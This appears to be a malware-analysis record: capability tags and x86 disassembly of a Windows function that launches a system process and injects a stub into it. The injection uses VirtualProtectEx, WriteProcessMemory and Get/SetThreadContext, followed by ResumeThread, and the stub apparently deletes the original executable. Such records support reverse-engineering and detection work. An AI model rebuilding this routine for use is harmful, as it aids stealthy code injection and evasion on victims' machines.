Function at 0x421980
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Resume thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb74
mov eax, dword [0x6cd400]
xor eax, esp
mov dword [esp + 0xb70], eax
push ebx
push esi
push edi
push 0x40
lea eax, [esp + 0x458]
push 0
push eax
mov dword [esp + 0x45c], 0x44
call fcn.005edd10
movq xmm0, qword [0x67a9c4]
mov eax, dword [0x67a9dc]
add esp, 0xc
movq qword [esp + 0x768], xmm0
movq xmm0, qword [0x67a9cc]
push 0x1ec
mov dword [esp + 0x784], eax
movq qword [esp + 0x774], xmm0
movq xmm0, qword [0x67a9d4]
lea eax, [esp + 0x788]
push 0
push eax
movq qword [esp + 0x784], xmm0
call fcn.005edd10
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [esp + 0x978], ax
lea eax, [esp + 0x97a]
push eax
call fcn.005edd10
add esp, 0xc
call fcn.004283f0
test al, al
push 0x104
lea eax, [esp + 0x974]
push eax
je 0x421a50
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
jmp 0x421a56
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea eax, [esp + 0x768]
push eax
lea eax, [esp + 0x974]
push 0x104
push eax
call fcn.005eb07b
add esp, 0xc
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x454]
push eax
push 0
push 0
push 0x44
push 0
push 0
push 0
push 0
lea eax, [esp + 0x994]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x421bf2
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 0x228], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [esp + 0x230], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
mov dword [esp + 0x238], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
mov dword [esp + 0x240], eax
push 0
lea eax, [esp + 0x230]
push eax
push dword [esp + 0x20]
mov dword [esp + 0x240], ebx
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 0x104
lea eax, [esp + 0x240]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x498]
push eax
push dword [esp + 0x18]
mov ecx, 0x80
mov esi, 0x421910
lea edi, [esp + 0x2c]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x4a0], 0x10003
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov esi, dword [esp + 0x55c]
add esi, 0xfffffbdc
and esi, 0xffffffe0
mov dword [esp + 0x20], esi
lea eax, [esi - 4]
mov dword [esp + 0x55c], eax
lea eax, [esi + 4]
mov dword [esp + 0x550], eax
lea eax, [esp + 0x44c]
push eax
push 0x40
push 0x424
push esi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 0x424
lea eax, [esp + 0x28]
push eax
push esi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x424
push esi
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [esp + 0x498]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [esp + 0x14]
call ebx
push dword [esp + 0x10]
call ebx
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb70]
xor ecx, esp
call fcn.005e96ad
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0xb7c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.005e96ad
mov esp, ebp
pop ebp
ret